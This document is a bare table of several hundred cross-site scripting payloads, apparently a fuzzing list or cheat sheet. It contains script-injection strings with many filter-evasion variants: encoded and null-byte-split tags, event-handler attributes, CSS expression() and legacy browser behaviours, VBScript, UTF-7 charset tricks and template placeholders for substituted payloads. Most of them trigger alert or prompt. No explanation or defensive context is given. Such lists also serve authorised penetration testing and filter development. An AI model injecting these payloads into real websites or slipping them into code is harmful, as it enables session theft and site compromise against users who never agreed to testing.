| %253cimg%20onerror=alert(1)%20src=a%253e |
| %3cimg onerror=alert(1) src=a%3e |
| <img onerror=alert(1) src=a> |
| ?img onerror=alert(1) src=a? |
| <script>au006cert(1);</script> |
| <script>eval(‘au006cert(1)’);</script> |
| <script>eval(‘ax6cert(1)’);</script> |
| <script>eval(‘a154ert(1)’);</script> |
| <script>eval(‘alert(1)’);</script> |
| <script>eval(‘al’+’ert(1)’);</script> |
| <script>eval(String.fromCharCode(75,67,70));</script> |
| <script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script> |
| <script>’alert(1)’.replace(/.+/,eval)</script> |
| <script>function::[‘alert’](1)</script> |
| <img onerror=eval('al\u0065rt(1)') src=a> |
| <script language=vbs>MsgBox 1</script> |
| <img onerror=”vbs:MsgBox 1” src=a> |
| <img onerror=MsgBox+1 language=vbs src=a> |
| <SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT> |
| <IMG ONERROR=”VBS:MSGBOX 1” SRC=A> |
| <script>execScript(“MsgBox 1”,”vbscript”);</script> |
| <script language=vbs>execScript(“alert(1)”)</script> |
| <SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(“ALERT(1)”)) </SCRIPT> |
| <IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(1)’)” SRC=A> |
| <img onerror=”VBScript.Encode:#@~^CAAAAA==ko$K6,FoQIAAA==^#[email protected]” src=a> |
| <img language=”JScript.Encode” onerror=”#@~^CAAAAA==C^+.D`8#mgIAAA==^#[email protected]” src=a> |
| <script>var a = ‘</script><script>alert(1)</script> |
| <scr%00ipt%20&message=> alert(‘kcf’)</script> |
| “<script>prompt(1)</script> |
| “;alert(1)// |
| ‘-alert(1)-’ |
| “<script>alert(1)</script> |
| “;prompt(1)// |
| ‘-prompt(1)-’ |
| <input type="text" AUTOFOCUS onfocus=alert(1)> |
| <scriptx20type="text/javascript">javascript:alert(1);</script> |
| <scriptx3Etype="text/javascript">javascript:alert(1);</script> |
| <scriptx0Dtype="text/javascript">javascript:alert(1);</script> |
| <scriptx09type="text/javascript">javascript:alert(1);</script> |
| <scriptx0Ctype="text/javascript">javascript:alert(1);</script> |
| <scriptx2Ftype="text/javascript">javascript:alert(1);</script> |
| <scriptx0Atype="text/javascript">javascript:alert(1);</script> |
| ‘`"><x3Cscript>javascript:alert(1)</script> |
| ‘`"><x00script>javascript:alert(1)</script> |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
| <audio src=1 href=1 onerror="javascript:alert(1)"></audio> |
| <video src=1 href=1 onerror="javascript:alert(1)"></video> |
| <body src=1 href=1 onerror="javascript:alert(1)"></body> |
| <image src=1 href=1 onerror="javascript:alert(1)"></image> |
| <object src=1 href=1 onerror="javascript:alert(1)"></object> |
| <script src=1 href=1 onerror="javascript:alert(1)"></script> |
| <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize> |
| <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange> |
| <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad> |
| <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter> |
| <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus> |
| <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll> |
| <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange> |
| <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> |
| <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange> |
| <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad> |
| <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide> |
| <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver> |
| <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload> |
| <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad> |
| <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange> |
| <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave> |
| <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel> |
| <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad> |
| <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange> |
| <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow> |
| <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange> |
| <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus> |
| <applet onError applet onError="javascript:javascript:alert(1)"></applet onError> |
| <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart> |
| <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad> |
| <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver> |
| <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter> |
| <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload> |
| <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown> |
| <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll> |
| <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange> |
| <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur> |
| <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> |
| <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload> |
| <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut> |
| <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> |
| <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> |
| <object onError object onError="javascript:javascript:alert(1)"></object onError> |
| <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> |
| <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove> |
| <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> |
| <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> |
| <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload> |
| <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> |
| <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> |
| <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> |
| <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload> |
| <body onload body onload="javascript:javascript:alert(1)"></body onload> |
| <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> |
| <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload> |
| <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> |
| <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> |
| <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> |
| <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload> |
| <iframe src iframe src="javascript:javascript:alert(1)"></iframe src> |
| <svg onload svg onload="javascript:javascript:alert(1)"></svg onload> |
| <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove> |
| <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> |
| x3Cscript>javascript:alert(1)</script> |
| ‘"`><script>/* *x2Fjavascript:alert(1)// */</script> |
| <script>javascript:alert(1)</scriptx0D |
| <script>javascript:alert(1)</scriptx0A |
| <script>javascript:alert(1)</scriptx0B |
| <script charset="x22>javascript:alert(1)</script> |
| <!--x3E<img src=xxx:x onerror=javascript:alert(1)> --> |
| --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> --> |
| --><!-- --x00> <img src=xxx:x onerror=javascript:alert(1)> --> |
| --><!-- --x21> <img src=xxx:x onerror=javascript:alert(1)> --> |
| --><!-- --x3E> <img src=xxx:x onerror=javascript:alert(1)> --> |
| `"‘><img src=‘#x27 onerror=javascript:alert(1)> |
| <a href="javascriptx3Ajavascript:alert(1)" id="fuzzelement1">test</a> |
| "‘`><p><svg><script>a=‘hellox27;javascript:alert(1)//‘;</script></p> |
| <a href="javasx00cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx07cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx0Dcript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx0Acript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx08cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx02cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx03cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx04cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx01cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx05cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx0Bcript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx09cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx06cript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javasx0Ccript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <script>/* *x2A/javascript:alert(1)// */</script> |
| <script>/* *x00/javascript:alert(1)// */</script> |
| <style></stylex3E<img src="about:blank" onerror=javascript:alert(1)//></style> |
| <style></stylex0D<img src="about:blank" onerror=javascript:alert(1)//></style> |
| <style></stylex09<img src="about:blank" onerror=javascript:alert(1)//></style> |
| <style></stylex20<img src="about:blank" onerror=javascript:alert(1)//></style> |
| <style></stylex0A<img src="about:blank" onerror=javascript:alert(1)//></style> |
| "‘`>ABC<div style="font-family:‘foo‘x7Dx:expression(javascript:alert(1);/*‘;">DEF |
| "‘`>ABC<div style="font-family:‘foo‘x3Bx:expression(javascript:alert(1);/*‘;">DEF |
| <script>if("x\xE1x96x89".length==2) { javascript:alert(1);}</script> |
| <script>if("x\xE0xB9x92".length==2) { javascript:alert(1);}</script> |
| <script>if("x\xEExA9x93".length==2) { javascript:alert(1);}</script> |
| ‘`"><x3Cscript>javascript:alert(1)</script> |
| "‘`><x3Cimg src=xxx:x onerror=javascript:alert(1)> |
| "‘`><x00img src=xxx:x onerror=javascript:alert(1)> |
| <script src="data:text/plainx2Cjavascript:alert(1)"></script> |
| <script src="data:xD4x8F,javascript:alert(1)"></script> |
| <script src="data:xE0xA4x98,javascript:alert(1)"></script> |
| <script src="data:xCBx8F,javascript:alert(1)"></script> |
| ABC<div style="xx3Aexpression(javascript:alert(1)">DEF |
| ABC<div style="x:expressionx5C(javascript:alert(1)">DEF |
| ABC<div style="x:expressionx00(javascript:alert(1)">DEF |
| ABC<div style="x:expx00ression(javascript:alert(1)">DEF |
| ABC<div style="x:expx5Cression(javascript:alert(1)">DEF |
| ABC<div style="x:x0Aexpression(javascript:alert(1)">DEF |
| ABC<div style="x:x09expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE3x80x80expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x84expression(javascript:alert(1)">DEF |
| ABC<div style="x:xC2xA0expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x80expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x8Aexpression(javascript:alert(1)">DEF |
| ABC<div style="x:x0Dexpression(javascript:alert(1)">DEF |
| ABC<div style="x:x0Cexpression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x87expression(javascript:alert(1)">DEF |
| ABC<div style="x:xEFxBBxBFexpression(javascript:alert(1)">DEF |
| ABC<div style="x:x20expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x88expression(javascript:alert(1)">DEF |
| ABC<div style="x:x00expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x8Bexpression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x86expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x85expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x82expression(javascript:alert(1)">DEF |
| ABC<div style="x:x0Bexpression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x81expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x83expression(javascript:alert(1)">DEF |
| ABC<div style="x:xE2x80x89expression(javascript:alert(1)">DEF |
| <a href="x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xC2xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x05javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE1xA0x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x18javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x11javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x88javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x89javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x17javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x03javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x00javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x10javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x82javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x20javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x13javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x09javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x14javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x19javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x81javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x87javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x07javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE1x9Ax80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x83javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x04javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x01javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x08javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x84javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x86javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE3x80x80javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x12javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x15javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x16javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x02javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x06javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x80x85javascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="xE2x81x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javascriptx00:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javascriptx3A:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javascriptx09:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javascriptx0D:javascript:alert(1)" id="fuzzelement1">test</a> |
| <a href="javascriptx0A:javascript:alert(1)" id="fuzzelement1">test</a> |
| `"‘><img src=xxx:x x0Aonerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x22onerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x0Bonerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x0Donerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x2Fonerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x09onerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x0Conerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x00onerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x27onerror=javascript:alert(1)> |
| `"‘><img src=xxx:x x20onerror=javascript:alert(1)> |
| "`‘><script>x3Bjavascript:alert(1)</script> |
| "`‘><script>x0Djavascript:alert(1)</script> |
| "`‘><script>xEFxBBxBFjavascript:alert(1)</script> |
| "`‘><script>xE2x80x81javascript:alert(1)</script> |
| "`‘><script>xE2x80x84javascript:alert(1)</script> |
| "`‘><script>xE3x80x80javascript:alert(1)</script> |
| "`‘><script>x09javascript:alert(1)</script> |
| "`‘><script>xE2x80x89javascript:alert(1)</script> |
| "`‘><script>xE2x80x85javascript:alert(1)</script> |
| "`‘><script>xE2x80x88javascript:alert(1)</script> |
| "`‘><script>x00javascript:alert(1)</script> |
| "`‘><script>xE2x80xA8javascript:alert(1)</script> |
| "`‘><script>xE2x80x8Ajavascript:alert(1)</script> |
| "`‘><script>xE1x9Ax80javascript:alert(1)</script> |
| "`‘><script>x0Cjavascript:alert(1)</script> |
| "`‘><script>x2Bjavascript:alert(1)</script> |
| "`‘><script>xF0x90x96x9Ajavascript:alert(1)</script> |
| "`‘><script>-javascript:alert(1)</script> |
| "`‘><script>x0Ajavascript:alert(1)</script> |
| "`‘><script>xE2x80xAFjavascript:alert(1)</script> |
| "`‘><script>x7Ejavascript:alert(1)</script> |
| "`‘><script>xE2x80x87javascript:alert(1)</script> |
| "`‘><script>xE2x81x9Fjavascript:alert(1)</script> |
| "`‘><script>xE2x80xA9javascript:alert(1)</script> |
| "`‘><script>xC2x85javascript:alert(1)</script> |
| "`‘><script>xEFxBFxAEjavascript:alert(1)</script> |
| "`‘><script>xE2x80x83javascript:alert(1)</script> |
| "`‘><script>xE2x80x8Bjavascript:alert(1)</script> |
| "`‘><script>xEFxBFxBEjavascript:alert(1)</script> |
| "`‘><script>xE2x80x80javascript:alert(1)</script> |
| "`‘><script>x21javascript:alert(1)</script> |
| "`‘><script>xE2x80x82javascript:alert(1)</script> |
| "`‘><script>xE2x80x86javascript:alert(1)</script> |
| "`‘><script>xE1xA0x8Ejavascript:alert(1)</script> |
| "`‘><script>x0Bjavascript:alert(1)</script> |
| "`‘><script>x20javascript:alert(1)</script> |
| "`‘><script>xC2xA0javascript:alert(1)</script> |
| "/><img/onerror=x0Bjavascript:alert(1)x0Bsrc=xxx:x /> |
| "/><img/onerror=x22javascript:alert(1)x22src=xxx:x /> |
| "/><img/onerror=x09javascript:alert(1)x09src=xxx:x /> |
| "/><img/onerror=x27javascript:alert(1)x27src=xxx:x /> |
| "/><img/onerror=x0Ajavascript:alert(1)x0Asrc=xxx:x /> |
| "/><img/onerror=x0Cjavascript:alert(1)x0Csrc=xxx:x /> |
| "/><img/onerror=x0Djavascript:alert(1)x0Dsrc=xxx:x /> |
| "/><img/onerror=x60javascript:alert(1)x60src=xxx:x /> |
| "/><img/onerror=x20javascript:alert(1)x20src=xxx:x /> |
| <scriptx2F>javascript:alert(1)</script> |
| <scriptx20>javascript:alert(1)</script> |
| <scriptx0D>javascript:alert(1)</script> |
| <scriptx0A>javascript:alert(1)</script> |
| <scriptx0C>javascript:alert(1)</script> |
| <scriptx00>javascript:alert(1)</script> |
| <scriptx09>javascript:alert(1)</script> |
| `"‘><img src=xxx:x onerrorx0B=javascript:alert(1)> |
| `"‘><img src=xxx:x onerrorx00=javascript:alert(1)> |
| `"‘><img src=xxx:x onerrorx0C=javascript:alert(1)> |
| `"‘><img src=xxx:x onerrorx0D=javascript:alert(1)> |
| `"‘><img src=xxx:x onerrorx20=javascript:alert(1)> |
| `"‘><img src=xxx:x onerrorx0A=javascript:alert(1)> |
| `"‘><img src=xxx:x onerrorx09=javascript:alert(1)> |
| <script>javascript:alert(1)<x00/script> |
| <img src=# onerrorx3D"javascript:alert(1)" > |
| <video poster=javascript:javascript:alert(1)// |
| <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> |
| <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X |
| <video><source onerror="javascript:javascript:alert(1)"> |
| <video onerror="javascript:javascript:alert(1)"><source> |
| <form><button formaction="javascript:javascript:alert(1)">X |
| <body oninput=javascript:alert(1)><input autofocus> |
| <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://127.0.0.1:3555/xss_serve_payloads/kcf.html" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> |
| <frameset onload=javascript:alert(1)> |
| <table background="javascript:javascript:alert(1)"> |
| <!--<img src="--><img src=x onerror=javascript:alert(1)//"> |
| <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> |
| <![><img src="]><img src=x onerror=javascript:alert(1)//"> |
| <style><img src="</style><img src=x onerror=javascript:alert(1)//"> |
| <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> |
| <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">KCF</a></body> |
| <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT> |
| <object data="data:text/html;base64,%(base64)s"> |
| <embed src="data:text/html;base64,%(base64)s"> |
| <b <script>alert(1)</script>0 |
| <div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> |
| <x ‘="foo"><x foo=‘><img src=x onerror=javascript:alert(1)//‘> |
| <embed src="javascript:alert(1)"> |
| <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x |
| <? foo="><script>javascript:alert(1)</script>"> |
| <! foo="><script>javascript:alert(1)</script>"> |
| </ foo="><script>javascript:alert(1)</script>"> |
| <? foo="><x foo=‘?><script>javascript:alert(1)</script>‘>"> |
| <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>"> |
| <% foo><x foo="%><script>javascript:alert(1)</script>"> |
| <div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> |
| <img x00src=x onerror="alert(1)"> |
| <img x47src=x onerror="javascript:alert(1)"> |
| <img x11src=x onerror="javascript:alert(1)"> |
| <img x12src=x onerror="javascript:alert(1)"> |
| <imgx47src=x onerror="javascript:alert(1)"> |
| <imgx10src=x onerror="javascript:alert(1)"> |
| <imgx13src=x onerror="javascript:alert(1)"> |
| <imgx32src=x onerror="javascript:alert(1)"> |
| <imgx11src=x onerror="javascript:alert(1)"> |
| <img x34src=x onerror="javascript:alert(1)"> |
| <img x39src=x onerror="javascript:alert(1)"> |
| <img x00src=x onerror="javascript:alert(1)"> |
| <img srcx09=x onerror="javascript:alert(1)"> |
| <img srcx10=x onerror="javascript:alert(1)"> |
| <img srcx13=x onerror="javascript:alert(1)"> |
| <img srcx32=x onerror="javascript:alert(1)"> |
| <img srcx12=x onerror="javascript:alert(1)"> |
| <img srcx11=x onerror="javascript:alert(1)"> |
| <img srcx00=x onerror="javascript:alert(1)"> |
| <img srcx47=x onerror="javascript:alert(1)"> |
| <img src=xx09onerror="javascript:alert(1)"> |
| <img src=xx10onerror="javascript:alert(1)"> |
| <img src=xx11onerror="javascript:alert(1)"> |
| <img src=xx12onerror="javascript:alert(1)"> |
| <img src=xx13onerror="javascript:alert(1)"> |
| <img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)"> |
| <img src=x onerror=x09"javascript:alert(1)"> |
| <img src=x onerror=x10"javascript:alert(1)"> |
| <img src=x onerror=x11"javascript:alert(1)"> |
| <img src=x onerror=x12"javascript:alert(1)"> |
| <img src=x onerror=x32"javascript:alert(1)"> |
| <img src=x onerror=x00"javascript:alert(1)"> |
| <a href=javascript:javascript:alert(1)>KCF</a> |
| <img src="x` `<script>javascript:alert(1)</script>"` `> |
| <img src onerror /" ‘"= alt=javascript:alert(1)//"> |
| <title onpropertychange=javascript:alert(1)></title><title title=> |
| <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"> |
| <!--[if]><script>javascript:alert(1)</script --> |
| <!--[if<img src=x onerror=javascript:alert(1)//]> --> |
| <script src="/\%(jscript)s"></script> |
| <script src="\%(jscript)s"></script> |
| <object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> |
| <a style="-o-link:‘javascript:javascript:alert(1)‘;-o-link-source:current">X |
| <style>p[foo=bar{}*{-o-link:‘javascript:javascript:alert(1)‘}{}*{-o-link-source:current}]{color:red};</style> |
| <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d |
| <style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style> |
| <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">KCF</a></a><a href="javascript:javascript:alert(1)">KCF</a><style>*[{}@import‘%(css)s?]</style>X |
| <div style="font-family:‘foo ;color:red;‘;">KCF |
| <div style="font-family:foo}color=red;">KCF |
| <// style=x:expression28javascript:alert(1)29> |
| <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style> |
| <div style=content:url(%(svg)s)></div> |
| <div style="list-style:url(http://foo.f)20url(javascript:javascript:alert(1));">X |
| <div id=d><div style="font-family:‘sans273B color3Ared3B‘">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> |
| <div style="background:url(/f#oo/;color:red/*/foo.jpg);">X |
| <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X |
| <div id="x">KCF</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style> |
| <x style="background:url(‘x;color:red;/*‘)">KCF</x> |
| <script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script> |
| <script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script> |
| <script>ReferenceError.prototype.__defineGetter__(‘name‘, function(){javascript:alert(1)}),x</script> |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(‘javascript:alert(1)‘)()</script> |
| <meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi |
| <meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&> |
| <meta charset="mac-farsi">?script?javascript:alert(1)?/script? |
| X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > |
| 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`> |
| 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>> |
| <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#kcf></vmlframe> |
| 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> |
| <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">KCF</a> |
| <x style="behavior:url(%(sct)s)"> |
| <xml id="kcf" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#kcf" datafld="payload"></label> |
| <event-source src="%(event)s" onload="javascript:alert(1)"> |
| <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:KCF%0A%0A"> |
| <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>"> |
| <script>%(payload)s</script> |
